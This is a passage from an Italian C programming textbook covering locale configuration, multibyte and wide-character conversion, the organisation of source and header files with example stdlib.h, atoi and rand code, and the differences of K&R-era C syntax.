Tuttavia, se il sistema operativo ha una gestione della configurazione locale, così come avviene nei sistemi Unix e simili, è meglio far sì che il programma erediti tale configurazione. Per ottenere questo, si usa la funzione ***setlocale()*** lasciando una stringa nulla (nel senso di vuota) al posto della configurazione richiesta:

```
setlocale (LC_ALL, "");
```

Per interrogare la configurazione locale attiva per una certa categoria (o per tutte se si fa riferimento a '**`LC_ALL`**'), è sufficiente fornire il puntatore nullo al posto della stringa. L'esempio seguente è completo e si vede anche l'incorporazione del file '`locale.h`', contenente il prototipo della funzione ***setlocale()*** e la dichiarazione delle macro-variabili ***LC_...***:

```
#include <stdio.h>
#include <locale.h>
int main (int argc, char *argv[])
{
  setlocale (LC_ALL, "");
  char *loc;
  loc = setlocale (LC_ALL, NULL);
  printf ("LC_ALL: \"%s\"\n", loc);
  return 0;
}
```

Il programma potrebbe emettere il risultato seguente:

```
LC_ALL: "it_IT.UTF-8"
```

77.9.3 Caratteri multibyte e caratteri estesi

All'origine del linguaggio C esisteva una corrispondenza biunivoca tra carattere e byte. Attualmente, questa corrispondenza riguarda solo i caratteri dell'insieme minimo, il quale di norma coincide con quello della codifica ASCII. Per rappresentare caratteri che vanno al di fuori dell'insieme minimo, si usano due metodi nel linguaggio: le sequenze multibyte, in cui un carattere è rappresentato attraverso una sequenza di più byte o comunque attraverso l'inserzione di codici che cambiano di volta in volta il sottoinsieme di riferimento, e i caratteri estesi che richiedono una unità di memorizzazione con un rango maggiore del byte. L'esempio seguente mostra l'uso di una stringa multibyte:

```
    printf ("€àèìòασδϕ\n");
```

È il contesto che fa capire la natura della stringa. In pratica, il file sorgente che contiene i caratteri deve essere scritto utilizzando una qualche codifica che preveda l'uso di più byte per rappresentare un carattere. La stessa codifica è quella che il programma deve usare durante il funzionamento per interpretare correttamente la stringa multibyte fornita.

In questo caso particolare, la funzione ***printf()*** non ha nemmeno bisogno di rendersi conto della codifica; semplicemente, se il programma funziona secondo la configurazione corretta, la visualizzazione del messaggio avviene come previsto.

Esistono diversi modi di gestire delle sequenze multibyte per rappresentare caratteri particolari, ma alcune sono più difficili da amministrare, perché richiedono il passaggio a sottoinsiemi di caratteri differenti attraverso l'uso di codici speciali, a cui si fa riferimento con il termine *shift*. In pratica, in tali condizioni, quando deve essere interpretata una stringa contenente sequenze multibyte, le funzioni devono tenere traccia dello stato di questa interpretazione, per sapere a quale sottoinsieme particolare di caratteri si sta facendo riferimento. Pertanto, l'interruzione e la ripresa di tale interpretazione devono essere motivo di preoccupazione per il programmatore. Fortunatamente la tendenza è quella di usare la codifica UTF-8 per la rappresentazione dell'insieme universale dei caratteri, per tutte le lingue e tutte le nazionalità. Tale codifica ha il vantaggio di non richiedere la conservazione di uno stato (*shift status*), in quanto l'interpretazione di ogni carattere è indipendente dai precedenti: quello che è importante è evitare di spezzare l'interpretazione di un carattere a metà, ma anche se fosse, i caratteri successivi verrebbero individuati correttamente.

Dall'esempio mostrato si intende che una stringa multibyte si rappresenta letteralmente nello stesso modo di una stringa normale, con la differenza che la sua lunghezza in «caratteri», nel senso di unità '**`char`**', è maggiore dei caratteri che rappresenta. quindi, eventualmente, nel dimensionare un array di caratteri, occorre tenere conto di questo particolare.

Per rappresentare un carattere che va al di fuori dell'insieme minimo del linguaggio C, si può usare un carattere esteso, ovvero un valore intero di rango maggiore rispetto al tipo '**`char`**'. Si tratta precisamente del tipo '**`wchar_t`**' (*wide char*) che in condizioni normali va dai 16 ai 32 bit;.

> Evidentemente, il rango del tipo '**`wchar_t`**' condiziona la quantità di caratteri che possono essere rappresentati. Per una rappresentazione abbastanza completa dell'insieme universale serve almeno un tipo '**`wchar_t`**' da 32 bit.

Si può rappresentare una costante letterale di tipo '**`wchar_t`**' mettendo anteriormente il prefisso '**`L`**'. Per esempio, '**`L'€'`**' viene convertito dal compilatore in un carattere esteso che

rappresenta numericamente il simbolo dell'euro. In modo analogo è possibile costruire array di elementi '**`wchar_t`**', per contenere stringhe estese (stringhe di caratteri '**`wchar_t`**' concluse da un valore nullo di terminazione, come per le stringhe normali). Anche per rappresentare le stringhe estese in modo letterale si può usare il prefisso '**`L`**'. Per esempio, '**`L"àèìòù"`**' viene tradotto dal compilatore in una stringa estesa.

```
#include <stdio.h>
#include <locale.h>
int main (int argc, char *argv[])
{
  setlocale (LC_ALL, "en_US.UTF-8");
  wchar_t wc = L'ß';
  wchar_t wcs[] = L"€àèìòαδφ";
  printf ("%lc, %ls\n", wc, wcs);
  return 0;
}
```

L'esempio mostra l'uso delle costanti letterali riferite a caratteri e stringhe estese. In particolare, va osservato l'uso della funzione ***printf()***, in cui si indicano lo specificatore di conversione '**`%lc`**' per tradurre un carattere esteso e '**`%ls`**' per una stringa estesa. Ecco il risultato che si attende di visualizzare da quel programma:

```
ß, €àèìòασδφ
```

A questo punto è bene sia chiaro un concetto logico ma non sempre evidente: per gestire caratteri al di fuori dell'insieme minimo, è necessario definire la configurazione locale con una codifica che sia tale da permetterlo. Pertanto, se non si usa la funzione ***setlocale()*** (così come invece avviene nell'esempio), si sta lavorando con la configurazione predefinita '**`C`**', per la quale non ci sono sequenze multibyte e diventa inutile l'uso del tipo '**`wchar_t`**'. Pertanto, se nell'esempio mancasse l'uso appropriato della funzione ***setlocale()***, non si otterrebbe la visualizzazione del testo come previsto.

77.9.4 Concatenamento eterogeneo

Il concatenamento di stringhe espresse in forma di costanti letterali, avviene, per le stringhe estese, esattamente come per le stringhe tradizionali, con l'eccezione che il concatenamento eterogeneo è ammissibile e implica sempre l'interpretazione di stringhe estese:

```
...
    wcp = "ciao amore" L"€àèìòασδφ";
...
```

In questo caso, la variabile ***wcp*** riceve il puntatore a una stringa estesa contenente precisamente la sequenza «ciao amore€àèìòασδφ», conclusa in modo appropriato.

Questo meccanismo consente, tra le altre cose, di concatenare delle macro-variabili che si espandono in stringhe letterali normali, in ogni circostanza, senza doverle duplicare per distinguerle in base al contesto.

77.9.5 Conversione tra caratteri multibyte e caratteri estesi

Un gruppo di funzioni dichiarate come prototipo nel file '`stdlib.h`' è importante per gestire la conversione tra caratteri multibyte e caratteri estesi. Le funzioni più importanti sono precisamente ***mbstowcs()*** (*Multibyte string to wide character string*) e ***wcstombs()*** (*Wide character string to multibyte string*), con lo scopo di convertire stringhe da multibyte a caratteri estesi e viceversa.

```
size_t mbstowcs (wchar_t *restrict wcs, const char *restrict s, size_t n);
```

```
size_t wcstombs (char *restrict s, const wchar_t *restrict wcs, size_t n);
```

La funzione '**`mbstowcs`**' si usa per convertire una stringa contenente sequenze multibyte in una stringa estesa, ovvero un array di elementi '**`wchar_t`**'. L'ultimo parametro rappresenta la quantità massima di caratteri estesi che devono essere inseriti nella stringa estesa di destinazione, contando anche il carattere nullo di terminazione. Il valore restituito è la quantità di caratteri che sono stati inseriti, escludendo il carattere nullo di terminazione, se c'è.

```
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
  setlocale (LC_ALL, "en_US.UTF-8");
  wchar_t wca[] = L"€€€€€€€€€€";
  wchar_t wcb[] = L"€€€€€€€€€€";
  size_t q;

  q = mbstowcs (wca, "äåâ", 3);
  printf ("mbstowcs: %i: \"%ls\"\n", q, wca);

  q = mbstowcs (wcb, "äåâ", 6);
  printf ("mbstowcs: %i: \"%ls\"\n", q, wcb);

  return 0;
}
```

L'esempio mostra la dichiarazione di due stringhe estese contenenti 10 caratteri estesi (oltre al carattere di terminazione della stringa). La funzione ***mbstowcs()*** viene usata la prima volta per tradurre la stringa multibyte '**`L"äåâ"`**' nei caratteri estesi corrispondenti all'inizio della prima delle due stringhe estese. Però, viene posto il limite al trasferimento di soli tre caratteri. Così facendo, il carattere di terminazione della stringa multibyte non viene convertito. Nel secondo caso, invece, si richiede il trasferimento di sei caratteri estesi, ma questo si ferma quando viene incontrato il carattere nullo di terminazione.

Entrambe le chiamate alla funzione ***mbstowcs()*** restituiscono il valore tre, perché sono solo tre i caratteri trasferiti, che siano diversi da quello di terminazione, ma nel secondo caso si può

apprezzare la differenza nella stringa estesa risultante:

```
mbstowcs: 3: "äåâ€€€€€€€€"
mbstowcs: 3: "äåâ"
```

La funzione ***wcstombs()*** funziona in modo opposto, per convertire una stringa estesa in una stringa multibyte. In questo caso, l'ultimo parametro rappresenta la quantità di byte che si vogliono ottenere con il trasferimento, incluso quello che rappresenta la terminazione della stringa. Logicamente, come nel caso dell'altra funzione, si ottiene la quantità di byte ottenuti dal trasferimento, ma senza contare il carattere nullo di terminazione.

```
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
  setlocale (LC_ALL, "en_US.UTF-8");
  char mba[] = "**********";
  char mbb[] = "**********";
  size_t n;

  n = wcstombs (mba, L"äåâ", 6);
  printf ("wcstombs: %i: \"%s\"\n", n, mba);

  n = wcstombs (mbb, L"äåâ", 9);
  printf ("wcstombs: %i: \"%s\"\n", n, mbb);

  return 0;
}
```

Questo nuovo esempio è analogo al precedente, ma invertendo il ruolo delle stringhe: questa volta la stringa estesa viene convertita in una stringa multibyte. Nel caso particolare della codifica UTF-8, ognuna delle lettere che si vedono nella stringa estesa si traduce in una sequenza di due byte; pertanto, la conversione richiede che siano convertiti almeno sette byte, per includere anche il carattere nullo di terminazione. Si può vedere che nel primo caso il carattere nullo non viene convertito, pertanto la stringa di destinazione continua ad apparire della lunghezza originale, pur con la prima parte sovrascritta. Naturalmente, rimangono solo quattro asterischi perché la sequenza multibyte necessaria a rappresentare quelle tre lettere è complessivamente di sei byte.

```
wcstombs: 6: "äåâ****"
wcstombs: 6: "äåâ"
```

La conversione, in un verso o nell'altro, può fallire. Se queste funzioni incontrano dei problemi, restituiscono l'equivalente di -1 tradotto secondo il tipo '**`size_t`**' (in pratica, utilizzando una rappresentazione dei valori negativi in complemento a due, si ottiene il valore positivo massimo che la variabile possa rappresentare, essendo '**`size_t`**' senza segno).

Ci sono altri dettagli sull'uso di queste funzioni, ma si possono approfondire leggendo la

sezione 80.9.11 e le pagine di manuale *mbstowcs(3) wcstombs(3)*.

77.10 Organizzazione dei file sorgenti

Quando si scrive un programma che non sia estremamente banale, diventa importante organizzare i file dei sorgenti in un modo gestibile. Se l'esperienza di programmazione da cui si proviene, quando ci si rivolge al C, è quella dei linguaggi interpretati, si può essere tentati di scrivere tutto il proprio programma in un file solo, ma questo approccio può essere controproducente. D'altra parte, per dividere il lavoro in più file, occorre che tale suddivisione abbia un senso pratico, conforme alla filosofia del linguaggio.

77.10.1 File di intestazione

La direttiva '**`#include`**' del precompilatore consente di incorporare un altro file, scritto secondo le regole del linguaggio, come se il suo contenuto facesse parte del file incorporante. Tradizionalmente questi file che vengono incorporati sono «file di intestazione», a cui si dà un'estensione diversa, '`.h`', proprio per distinguerne lo scopo.

Un file di intestazione, perché sia utile e non serva a creare maggiore confusione, può contenere la dichiarazione di macro-variabili, di macro-istruzioni, di tipi derivati, di prototipi di funzione e di variabili pubbliche. Non ha senso inserire il codice completo delle funzioni all'interno di un file di intestazione, perché queste verrebbero replicate inutilmente nei file-oggetto, ogni volta che viene incorporato il file stesso.

Se si rispetta questo principio, un file di intestazione può essere incorporato in diversi file, garantendo un uso uniforme di quanto dichiarato al suo interno, senza duplicazioni inutili nel risultato della compilazione, anche se ciò che contiene tale file viene usato solo parzialmente o non viene usato affatto.

Un file di intestazione deve contenere ciò che serve alla soluzione di un certo tipo di problematica, ben delimitata. In particolare, dovrebbe contenere tutti i prototipi delle funzioni che servono, o possono servire, per quel tale problema.

77.10.2 Funzioni pubbliche

Le funzioni che devono poter essere usate in varie parti del programma è bene siano pubbliche (come avviene in modo predefinito) e che siano descritte come prototipo in un file di intestazione appropriato. Per quanto possibile, le funzioni potrebbero essere scritte in file indipendenti, ovvero: un file distinto per ogni funzione.

Dal momento che le funzioni potrebbero avere bisogno di usare macro-variabili o macro-istruzioni definite nel file di intestazione che ne dichiara i prototipi, nei file di queste funzioni dovrebbe apparire l'inclusione del file di intestazione rispettivo.

77.10.3 Funzioni e variabili private

Le funzioni dichiarate con la parola chiave '**static**' sono visibili solo all'interno del file-oggetto in cui vanno a finire. Queste funzioni statiche sono utili in quanto vengono chiamate da una sola o da poche funzioni; in tal caso, questo gruppo di funzioni è costretto a convivere nello stesso file.

Lo stesso problema riguarda le variabili che devono essere utilizzate da più funzioni, ma che non devono essere visibili alle altre, perché anche in questo caso si rende necessario il mettere tale insieme nello stesso file.

77.10.4 Esempio di «stdlib.h»

Per comprendere il senso di quanto appena descritto in modo così sintetico, è utile osservare l'organizzazione della libreria C standard, anche se poi nella realtà i contenuti dei file che la compongono non sono sempre facili da interpretare. A ogni modo, qui viene proposto il caso di quella parte della libreria C che fa capo al file di intestazione '`stdlib.h`'.

Per cominciare, già dal nome del file scelto come esempio, va osservato che un file di intestazione realizzato in modo conforme alla filosofia del linguaggio rappresenta una «libreria» di qualcosa, anche se, per le funzioni, contiene solo i prototipi. Ecco, in breve, come potrebbe essere fatto il file '`stdlib.h`', omettendo alcune porzioni ridondanti per i fini della spiegazione:

```
#ifndef _STDLIB_H
#define _STDLIB_H       1
#define NULL 0
typedef unsigned long int size_t;
typedef unsigned int wchar_t;
#include <limits.h>
typedef struct {int quot; int rem;} div_t;
...
#define RAND_MAX        INT_MAX
...
int   atoi    (const char *nptr);
...
int   rand    (void);
void  srand   (unsigned int seed);
void *malloc  (size_t size);
void *realloc (void *ptr, size_t size);
void  free    (void *ptr);
#define calloc(nmemb, size) (malloc ((nmemb) * (size)))
...
#endif
```

Si può osservare che l'interpretazione del contenuto del file è subordinata al fatto che la macro-variabile ***_STDLIB_H*** non sia già stata dichiarata, mentre altrimenti viene dichiarata. In pratica, con questo meccanismo, se per qualunque ragione un file si trova a incorporare più volte il file di intestazione, il compilatore considera quel contenuto solo la prima volta.

Nell'esempio si vedono dichiarazioni di macro-variabili, di macro-istruzioni (***calloc()*** è, in questo caso, una macro-istruzione), di tipi di dati derivati. Secondo il buon senso, tutte queste cose devono servire alle funzioni di cui sono presenti i prototipi, ma soprattutto per ciò che riguarda i prototipi. Per esempio, la macro-variabile ***NULL*** viene dichiarata nel file di intestazione perché è il valore che potrebbe essere restituito da funzioni come ***malloc()*** e deve essere uniformato; il tipo derivato '**`size_t`**' viene dichiarato perché viene usato dalla funzione ***malloc()*** e da altre; il file '`limits.h`' viene incorporato perché definisce il valore della macro-variabile ***INT_MAX*** che in questo caso viene usato per definire ***RAND_MAX***, la quale deve essere uniformata per l'uso con la funzione ***rand()***.

La funzione ***atoi()*** è utile per dimostrare in che modo mettere ogni funzione nel proprio file indipendente. Per esempio, quello che segue potrebbe essere il file '`atoi.c`':

```
#include <stdlib.h>:
#include <ctype.h>:
int
atoi (const char *nptr)
{
  int i;
  int sign = +1;
  int n;

  for (i = 0; isspace (nptr[i]); i++)
    {
      ;       // Si limita a saltare gli spazi iniziali.
    }

  if (nptr[i] == '+')
    {
      sign = +1;
      i++;
    }
  else if (nptr[i] == '-')
    {
      sign = -1;
      i++;
    }

  for (n = 0; isdigit (nptr[i]); i++)
    {
      n = (n * 10) + (nptr[i] - '0');         // Accumula il valore.
    }

  return sign * n;
}
```

Come si vede, questa versione di ***atoi()*** si avvale delle funzioni ***isspace()*** e ***isdigit()***, dichiarate nel file '`ctype.h`' che viene aggiunto di conseguenza all'elenco delle inclusioni. Questa inclusione non è stata fatta nel file di intestazione '`stdlib.h`', perché l'uso delle funzioni

isspace() e ***isdigit()*** è dovuto soltanto a una scelta realizzativa di ***atoi()*** e non perché la libreria '`stdlib.h`' dipenda necessariamente da '`ctype.h`'.

Per realizzare le funzioni ***rand()*** e ***srand()*** deve essere condivisa una variabile, la quale può essere nascosta prudentemente al resto del programma. Pertanto serve un file unico che incorpori entrambe le funzioni:

```
#include <stdlib.h>
static unsigned int _srand = 1; // Il rango di «_srand» deve essere
                                // maggiore o uguale a quello di
                                // «RAND_MAX» e di «unsigned int».
int
rand (void)
{
  _srand = _srand * 1234567 + 12345;
  return _srand % ((unsigned int) RAND_MAX + 1);
}

void
srand (unsigned int seed)
{
  _srand = seed;
}
```

77.10.5 Parametri delle macro-istruzioni

Quando si dichiara una macro-istruzione, si usano delle macro-variabili interne che rappresentano i parametri per la «chiamata» di questa specie di funzione. Dal momento che il codice che costituisce la macro-istruzione può avvalersi di altre macro-variabili già dichiarate e dato che di norma queste hanno nomi che utilizzano lettere maiuscole, è bene che quelle interne siano scritte con sole lettere minuscole. In pratica, conviene fare come nella macro-istruzione già apparsa nella sezione precedente:

```
#define calloc(nmemb, size) (malloc ((nmemb) * (size)))
```

Al contrario, facendo come nell'esempio successivo, il rischio che sia già stata dichiarata la macro-variabile ***SIZE*** oppure ***NMEMB*** è più alto:

```
#define calloc(NMEMB, SIZE) (malloc ((NMEMB) * (SIZE)))
```

77.10.6 Compilazione

I vari file con estensione '`.c`' possono essere compilati separatamente, per ottenere altrettanti file-oggetto da collegare successivamente (i file '`.h`' devono essere incorporati da file '`.c`', pertanto non vanno compilati da soli). Per esempio, per un certo gruppo di file collocato in una certa directory, si potrebbe usare un file-make simile a quello seguente:

```
sorgenti = uno due tre
#
all: $(sorgenti)
#
clean:
	@rm *.o 2> /dev/null
#
$(sorgenti):
	@echo $@.c
	@gcc -Wall -Werror -o $@.o -c $@.c -I../include
```

In pratica, si presume che nella directory in cui si trova il file-make, ci siano i file '`uno.c`', '`due.c`' e '`tre.c`', per i quali si vogliono ottenere altrettanti file-oggetto, con l'estensione appropriata. Si presume anche che i file di intestazione a cui i sorgenti fanno riferimento si trovino nella directory '`../include/`'.

Compilando in questo modo i file che contengono il minimo indispensabile (possibilmente una sola funzione per ciascuno), quando si verificano errori è più semplice concentrare l'attenzione per correggerli.

Quando si dispone dei file-oggetto si può passare al collegamento (*link*), ma anche in questa fase possono emergere dei problemi di tipo diverso: di solito si tratta di una funzione che viene chiamata, della quale esiste solo il prototipo e quindi non si trova in alcun file-oggetto. Naturalmente, il collegamento deve avvenire una volta sola, con tutti i file-oggetto che compongono il programma.

Figura 77.328. Indicazioni generali per la stesura di un insieme di file sorgenti ordinato.

intestazione.h

```
#define ...
#define ...
typedef ...
extern ...
int func_1 (...)
int func_2 (...)
```

macro−variabili
macro−istruzioni
tipi derivati
variabili pubbliche
prototipi di funzioni
variabili e funzioni private
funzioni pubbliche

func_1.c

```
#include <intestazione.h>
static...
int
func_1 (...)
{
   ...
}
```

func_2.c

```
#include <intestazione.h>
static...
int
func_2 (...)
{
   ...
}
```

77.11 K&R

Il linguaggio C, nella sua versione originale, nota come «K&R» (Kernigham e Ritchie), aveva delle caratteristiche che, fortunatamente, sono state perdute. Generalmente non è necessario conoscere le particolarità del vecchio linguaggio C, ma può capitare di leggere del vecchio codice, oppure può succedere di dover usare un vecchio compilatore.

Qui si annotano le caratteristiche principali della sintassi K&R, rispetto al linguaggio C, nella sua forma attuale.

77.11.1 Prototipi e chiamate delle funzioni

La differenza più importante tra la sintassi K&R e il linguaggio C attuale, sta nel modo di dichiarare i prototipi delle funzioni. Il prototipo di una funzione K&R non contiene la definizione dei tipi dei parametri (e tantomeno permette di attribuire loro dei nomi). Per esempio, il prototipo

```
int funzione (char a, short b, int c, long d, float e, double f);
```

si riduce, secondo la sintassi K&R, semplicemente nella dichiarazione seguente:

```
int funzione ();
```

Nella sintassi K&R, la mancanza di un prototipo vero e proprio, fa sì che nella chiamata di una funzione occorra essere molto precisi con i tipi degli argomenti; in altri termini, tutto quello che non ha il rango di '`int`', va controllato attentamente. Per esempio, supponendo che il rango di '`long int`' sia effettivamente maggiore di quello di '`int`', la chiamata seguente provoca certamente dei problemi:

```
x = funzione ('a', 123, 456, 789, 12.3, 45.6);
```

Si comprende che l'argomento attuale 789 sia effettivamente di tipo '`int`', mentre la funzione si attende un rango maggiore, con risultati non prevedibili. Per quanto riguarda invece i tipi '`char`' e '`short int`', va osservato che la sintassi K&R prevede la promozione automatica a '`int`', inoltre, per il tipo '`float`' è prevista la promozione a '`double`'.

Come si può intuire, **anche la quantità prevista degli argomenti di una chiamata non è determinabile per il compilatore**, con le conseguenze che si possono immaginare.

77.11.1.1 La macro-istruzione «_PROTOTYPE» di Minix

Il codice del sistema operativo Minix è nato in un momento in cui si potevano incontrare sia compilatori C che riconoscevano e richiedevano l'uso di prototipi di funzione con l'indicazione dei parametri, sia di compilatori che potevano accettare solo la sintassi K&R. Per ovviare a questo problema, il codice del sistema Minix adotta l'uso di una macro-istruzione, denominata ***_PROTOTYPE***, dichiarata così:

```
#if _ANSI
...
#define _PROTOTYPE(function, params)    function params
...
#else
...
#define _PROTOTYPE(function, params)    function()
...
#endif
```

Successivamente, quando viene il momento di dichiarare un prototipo, questo viene scritto come nell'esempio seguente:

```
_PROTOTYPE( int printf,  (const char *_format, ...)          );
_PROTOTYPE( int scanf,   (const char *_format, ...)          );
```

77.11.2 Dichiarazione delle funzioni

Il modello sintattico che descrive la dichiarazione delle funzioni secondo il C di K&R, potrebbe essere espresso come nello schema seguente:

```
tipo nome_funzione (par_1 [, par_2]...)
tipo par_1;
[tipo par_2;]
...
{
    ...
}
```

L'esempio seguente mostra la dichiarazione di una certa funzione, secondo la sintassi attuale del linguaggio C:

```
int
funzione (int i, int j)
{
    int k;
    k = i + j;
    return (k);
}
```

Così sarebbe invece secondo la sintassi K&R:

```
int
funzione (i, j)
int i;
int j;
{
    int k;
    k = i + j;
    return (k);
}
```

Tra l'altro, ciò può far incorrere in un errore, che il compilatore non segnala:

```
int
funzione (i, j)
int i;
int j;
{
    int i;
    int k;
    k = i + j;
    return (k);
}
```

In questo caso, la variabile ***i*** viene dichiarata anche nel corpo della funzione, oscurando il contenuto del parametro ***i***.

77.11.3 Operatori composti di assegnamento

Nel linguaggio C comune si possono utilizzare degli operatori di assegnamento composti, come nell'esempio seguente in cui si vuole incrementare di due unità la variabile ***i***:

```
i += 2;
```

Nella sintassi K&R, scrivere '`+=`' oppure '`+ =`' non fa differenza, mentre nello standard attuale del linguaggio ciò non è più ammissibile.

Nelle primissime versioni della sintassi K&R, gli operatori composti erano invertiti, pertanto, avrebbe potuto essere scritto:

```
i =+ 2; /* da non fare mai! */
```

Si può osservare che nella sintassi K&R non è possibile usare il segno '`+`' al di fuori della somma, perché non avrebbe alcuna utilità (dal momento che **+*x***» è uguale a ***x***); pertanto, il fatto che si possa anche scrivere '`i = + 2;`', non dovrebbe creare difficoltà. Tuttavia, scrivendo l'istruzione seguente, c'è da domandarsi cosa si intenda veramente:

```
i =- 2; /* da non fare mai! */
```

La variabile ***i*** viene ridotta di due unità, oppure le viene assegnato semplicemente il valore −2?

77.11.4 Tipi numerici

Nella sintassi K&R, le costanti numeriche in ottale possono contenere anche le cifre 8 e 9, senza che il compilatore si allarmi di ciò. Inoltre, le costanti numeriche rappresentano sempre un numero di tipo intero normale ('**`int`**'), a meno che gli si aggiunga la lettera '**`L`**', per indicare che si tratta di un tipo '**`long int`**'.

I tipi numerici disponibili sono minori rispetto allo standard attuale del linguaggio C, mancando il tipo '**`long long int`**' e il tipo '**`long double`**'. Inoltre, nella sintassi K&R non è previsto l'uso dello specificatore '**`unsigned`**'.

77.11.5 Tipo «void *»

Per la sintassi K&R, il tipo '**`void *`**' è equivalente al tipo '**`char *`**'. Pertanto, l'incremento di un tale puntatore porta ai byte successivi, mentre così non può avvenire secondo la sintassi attuale.

77.11.6 Direttive del preprocessore

Nella sintassi K&R, le direttive del preprocessore devono avere il cancelletto ('**`#`**') esattamente nella prima colonna; inoltre non sono ammissibili direttive nulle, in cui il cancelletto sta da solo.

Le direttive '**`#elif`**', '**`#error`**' e '**`#pragma`**' non sono disponibili. Gli operandi '**`defined`**', '**`#`**' e '**`##`**' non sono disponibili.

77.11.7 Altre osservazioni su K&R

- Sulla funzione ***main()*** non si specifica cosa debba o possa restituire.
- Non sono disponibili le sequenze triplici, o *trigraph*, e di conseguenza non viene riconosciuta la sequenza '**`\?`**' nelle costanti carattere o nelle stringhe.
- La porzione significativa dei nomi degli identificatori (nomi di funzioni, di variabili, ecc.) è di soli otto caratteri.
- Le sequenze '**`\a`**', '**`\?`**' e '**`\x`**', nelle costanti carattere e nelle stringhe, non sono riconosciute; al contrario, sono ammissibili le sequenze '**`\8`**' e '**`\9`**', che invece non dovrebbero, trattandosi di riferimenti a valori in ottale.
- Le costanti stringa, potrebbero risultare modificabili, mentre la sintassi attuale del linguaggio non lo deve consentire.
- L'operatore '**`&`**', usato per ottenere il puntatore a una variabile, non può essere usato con i nomi degli array.

- L'inizializzazione di una variabile, mentre viene dichiarata, può essere fatta omettendo il segno '**=**'. Per esempio, al posto di scrivere '**int x = 3 + 4;**', si può scrivere '**int x 3 + 4;**'.
- Nella struttura di controllo '**switch**', l'espressione che viene valutata per la scelta dell'azione da compiere deve essere di tipo '**int**'.
- Le enumerazioni non sono disponibili.

77.11.8 Unproto

Se per qualche ragione si deve usare un compilatore C che è rimasto a standard precedenti al 1987, viene in aiuto il programma Unproto,[24] di Wietse Venema, che va inserito tra il preprocessore C e il compilatore vero e proprio.

Unproto è in grado di trasformare il risultato prodotto dal preprocessore in un codice C compatibile con la sintassi K&C, sia per la questione legata ai prototipi e la dichiarazione delle funzioni, sia per altri problemi meno appariscenti.

Unproto è anche incluso nella distribuzione Dev86, ovvero gli strumenti di sviluppo per 8088/8086, dove il compilatore BCC di Bruce Evans se ne avvale automaticamente.

77.12 Riferimenti

- Brian W. Kernigham, Dennis M. Ritchie, *The C programming language*, prima edizione, Prentice-Hall 1978, ISBN 0-13-110163-3

  ⟨*http://cm.bell-labs.com/cm/cs/cbook/* ⟩).

- Eric Giguere, *The ANSI Standard: A Summary for the C Programmer*, 1987

  ⟨*http://www.ericgiguere.com/articles/ansi-c-summary.html* ⟩

- Brian W. Kernighan, Dennis M. Ritchie, *Il linguaggio C: principi di programmazione e manuale di riferimento*, Pearson, ISBN 88-7192-200-X

  ⟨*http://cm.bell-labs.com/cm/cs/cbook/* ⟩

- Open Standards, *C - Approved standards*

  ⟨*http://www.open-std.org/jtc1/sc22/wg14/www/standards* ⟩

- *ISO/IEC 9899:TC2*

  ⟨*http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf* ⟩

- Richard Stallman e altri, *GNU coding standards*

  ⟨*http://www.gnu.org/prep/standards/* ⟩

- Autori vari, *GCC manual*

  ⟨*http://gcc.gnu.org/onlinedocs/gcc/* ⟩

  ⟨*http://gcc.gnu.org/onlinedocs/gcc.pdf* ⟩

- Douglas Walls, *How to use the restrict qualifier in C*

  ⟨*http://developers.sun.com/solaris/articles/cc_restrict.html* ⟩

- *SUPER-UX C Programmer's Guide, DIFFERENCES BETWEEN SUPER-UX ANSI C AND K&R C*

  ⟨*http://static.cray-cyber.org/Documentation/NEC_SX_R10_1/G1AF02E/CHAP1.HTML#1.3* ⟩

- Wietse Zweitze Venema, *Wietse's tools and papers, Unproto*

  ⟨*ftp://ftp.porcupine.org/pub/security/index.html* ⟩

  ⟨*ftp://ftp.porcupine.org/pub/unix/unproto5.shar.Z* ⟩

- Robert de Bath, *Dev86: a cross development C compiler, assembler and linker environment for the production of 8086 executables*

  ⟨*http://homepage.ntlworld.com/robert.debath/dev86/* ⟩

[1] È bene osservare che un'istruzione composta, ovvero un raggruppamento di istruzioni tra parentesi graffe, non è concluso dal punto e virgola finale.

[2] In particolare, i nomi che iniziano con due trattini bassi ('__'), oppure con un trattino basso seguito da una lettera maiuscola ('_X') sono riservati.

[3] Tuttavia, le estensioni POSIX prevedono la possibilità di avere tre parametri: '**`int main (int argc, char *argv[], char *envp[])`**'.

[4] Il linguaggio C, puro e semplice, non comprende alcuna funzione, benché esistano comunque molte funzioni più o meno standardizzate, come nel caso di ***printf()***.

[5] Quando il linguaggio C viene usato secondo lo standard POSIX, ovvero ciò che definisce le caratteristiche di un sistema operativo Unix, il byte deve essere precisamente di 8 bit, senza altre possibilità.

[6] Sono esistiti anche elaboratori in grado di indirizzare il singolo bit in memoria, come il Burroughs B1900, ma rimane il fatto che il linguaggio C si interessi di raggiungere un byte intero alla volta.

[7] Il qualificatore '**`signed`**' si può usare solo con il tipo '**`char`**', dal momento che il tipo '**`char`**' puro e semplice può essere con o senza segno, in base alla realizzazione particolare del linguaggio che dipende dall'architettura dell'elaboratore e dalle convenzioni del sistema operativo.

[8] La distinzione tra valori con segno o senza segno, riguarda solo i numeri interi, perché quelli in virgola mobile sono sempre espressi con segno.

[9] Come si può osservare, la dimensione è restituita dall'operatore '**`sizeof`**', il quale, nell'esempio, risulta essere preceduto dalla notazione '**`(int)`**'. Si tratta di un cast, perché il valore restituito dall'operatore è di tipo speciale, precisamente si tratta del tipo '**`size_t`**'. Il cast è solo precauzionale perché generalmente tutto funziona in modo regolare senza questa indicazione.

[10] Per la precisione, il linguaggio C stabilisce che il «byte» corrisponda all'unità di memorizzazione minima che, però, sia anche in grado di rappresentare tutti i caratteri di un insieme minimo. Pertanto, ciò che restituisce l'operatore ***sizeof()*** è, in realtà, una quantità di byte, solo che non è detto si tratti di byte da 8 bit.

[11] Gli operandi di '**`? :`**' sono tre.

[12] Lo standard prevede il tipo di dati '**`_Bool`**' che va inteso come un valore numerico compreso tra zero e uno. Ciò significa che il tipo '**`_Bool`**' si presta particolarmente a rappresentare

valori logici (binari), ma ciò sempre secondo la logica per la quale lo zero corrisponde a *Falso*, mentre qualunque altro valore corrisponde a *Vero*.

[13] Per la precisione, i parametri di una funzione corrispondono alla dichiarazione di variabili di tipo automatico.

[14] Questa descrizione è molto semplificata rispetto al problema del campo di azione delle variabili in C; in particolare, quelle che qui vengono chiamate «variabili globali», non hanno necessariamente un campo di azione esteso a tutto il programma, ma in condizioni normali sono limitate al file in cui sono dichiarate. La questione viene approfondita in modo più adatto a questo linguaggio nella sezione 77.3.

